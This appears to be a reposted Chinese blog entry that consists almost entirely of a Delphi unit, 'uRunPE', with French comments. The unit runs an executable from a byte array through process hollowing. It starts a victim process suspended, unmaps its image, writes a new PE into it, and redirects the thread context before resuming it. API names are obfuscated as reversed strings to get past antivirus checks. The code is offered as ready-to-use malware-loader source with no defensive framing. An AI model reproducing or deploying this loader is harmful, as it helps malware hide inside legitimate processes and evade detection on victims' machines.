delphi uRunPE-木庄网络博客

本文整理自网络，侵删。
  uRunPE Author: Anonymous
Description: Run Executables as Byte Arrays
Modified: The Swash http://www.onlyprogrammers.org
}
unit uRunPE;
interface
uses Windows;
type
TByteArray = array of Byte;

function RMem(sVictim:string; bFile:TByteArray):Boolean;
implementation
//Steve10120 RtlMoveMemory
procedure Move(Destination, Source:Pointer; Length:DWORD);
asm
PUSHAD
MOV ESI, Source
MOV EDI, Destination
MOV ECX, Length
REP MOVSB
POPAD
end;
// The Swash StringReverse
function StrReverse(lpzBuff:String):String;
var
B: Integer;
begin
     for b := Length(lpzBuff) downto 1 do
     begin
          Result := Result + lpzBuff[b];
     end;
end;
function RMem(sVictim:string; bFile:TByteArray):Boolean;
var
IDH:        TImageDosHeader;
INH:        TImageNtHeaders;
ISH:        TImageSectionHeader;
PI:         TProcessInformation;
SI:         TStartUpInfo;
CONT:       TContext; // Contient des donn?es du registre sp?cifique aux processus
ImageBase: Pointer;
Ret:        DWORD;
i:          integer;
Addr:       DWORD;
dOffset:    DWORD;
NUVOfS:     function(Processhandle:THandle;BaseAddr:Pointer):DWORD;stdcall;   //NtUnmapViewOfSection
GCT:        function(TTheard:Cardinal;var I: _CONTEXT):Boolean;stdcall; //GetThreadContext
RPM:        function(hProcess:Cardinal;const lpBaseAddress:Pointer;lpBuffer:Pointer;nSize:Cardinal;var lpNumberOfBytesRead:Cardinal):Boolean;stdcall; //ReadProcessmemory
VAEx:       function(hProcess:Cardinal;lpAddress:Pointer;dwSize:Cardinal;flAllocType:Cardinal;flProtect:Cardinal):Pointer;stdcall; // VirtualAllocEx
WPM:        function(hProcess:Cardinal;const lpBaseAddress:Pointer;lpBuffer:Pointer;nSize:Cardinal;var lpNumberOfBytesRead:Cardinal):Boolean;stdcall; //WriteProcessMemory
STC:        function(TTheard:Cardinal;var I: _CONTEXT):Boolean;stdcall; //SetThreadContext
RT:         function(TTheard:Cardinal):DWORD;stdcall; //ResumeThread
CP:         function(lpApplicationName:PAnsiChar;lpCommandLine:PAnsiChar;lpProcessAttributes:PSecurityAttributes;lpThreadAttributes:PSecurityAttributes;bInheritnHandles:LongBool;dwCreationFlags:Cardinal;lpEnvironment:Pointer;lpCurrentDirectory:PAnsiChar;const lpStartupInfo:_STARTUPINFOA; var lpProcessInformation:_PROCESS_INFORMATION):Boolean;stdcall; //CreateProcessA
CH:         function(TThread:Cardinal):LongBool;stdcall;
begin
Result := FALSE;
try
    Move(@IDH, @bFile[0], 64);
    if IDH.e_magic = IMAGE_DOS_SIGNATURE then // Si la signature est valide (MZ)
    begin
      Move(@INH, @bFile[IDH._lfanew], 248); // On lit l'ent?te PE
      if INH.Signature = IMAGE_NT_SIGNATURE then // Si la signature est valide (PE\0\0)
      begin
        (* Initialisation de TStartupInfo et TProcessInformation *)
        FillChar(SI, SizeOf(TStartupInfo),#0);
        FillChar(PI, SizeOf(TProcessInformation),#0);
        SI.cb := SizeOf(TStartupInfo);
        CP:=GetProcAddress(GetModuleHandle(PChar(StrReverse('23lenrek'))),PChar(StrReverse('AssecorPetaerC')));
        if CP(nil, PChar(sVictim), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then // On met en "pause" le processus
        begin
          CONT.ContextFlags := CONTEXT_FULL; // CONTEXT_FULL (CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS)
          GCT:=GetProcAddress(GetModuleHandle(PChar(StrReverse('23lenrek'))),PChar(StrReverse('txetnoCdaerhTteG')));
          if GCt(PI.hThread, CONT) then // Retourne le context du thread courant
          begin
            RPM:=GetProcAddress(GetModuleHandle(PChar(StrReverse('23lenrek'))),PChar(StrReverse('yromeMssecorPdaeR')));
            RPM(PI.hProcess, Ptr(CONT.Ebx + 8), @Addr, 4, Ret); // Retourne dans Addr le contenu du processus
            NUVOfS:=GetProcAddress(GetModuleHandle(PChar(StrReverse('lldtn'))),PChar(StrReverse('noitceSfOweiVpamnUtN')));
            NUVOfS(PI.hProcess, @Addr); // Map une section en m?moire
            VAEx:=GetProcAddress(GetModuleHandle(PChar(StrReverse('23lenrek'))),PChar(StrReverse('xEcollAlautriV')));
            ImageBase := VAEx(PI.hProcess, Ptr(INH.OptionalHeader.ImageBase), INH.OptionalHeader.SizeOfImage, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE); // R?serve l'espace n?cessaire
            WPM:=GetProcAddress(GetModuleHandle(PChar(StrReverse('23lenrek'))),PChar(StrReverse('yromeMssecorPetirW')));
            WPM(PI.hProcess, ImageBase, @bFile[0], INH.OptionalHeader.SizeOfHeaders, Ret); // Ecrit l'ImageBase dans le processus
            dOffset := IDH._lfanew + 248; // SizeOf(TImageNtHeaders) = 248
            for i := 0 to INH.FileHeader.NumberOfSections - 1 do // On liste toutes les sections
            begin
              Move(@ISH, @bFile[dOffset + (i * 40)], 40); // Une section fait 40 octets
              WPM(PI.hProcess, Ptr(Cardinal(ImageBase) + ISH.VirtualAddress), @bFile[ISH.PointerToRawData], ISH.SizeOfRawData, Ret); // On inscrit la section dans le processus
            end;
            WPM(PI.hProcess, Ptr(CONT.Ebx + 8), @ImageBase, 4, Ret); // Modifie le context
            CONT.Eax := Cardinal(ImageBase) + INH.OptionalHeader.AddressOfEntryPoint; // L'adresse ou l'on va charger le tout
            STC:=GetProcAddress(GetModuleHandle(PChar(StrReverse('23lenrek'))),PChar(StrReverse('txetnoCdaerhTteS')));
            STC(PI.hThread, CONT); // Modifie une derni?re fois le context
            RT:= GetProcAddress(GetModuleHandle(PChar(StrReverse('23lenrek'))),PChar(StrReverse('daerhTemuseR')));
            RT(PI.hThread); // On execute
            Result := TRUE;
          end;
        end;
      end;
    end;
except
    CH:=GetProcAddress(GetModuleHandle(PChar(StrReverse('23lenrek'))),PChar(StrReverse('eldnaHesolC')));
    CH(PI.hProcess);
    CH(PI.hThread);
end;
end;
end.
delphi uRunPE

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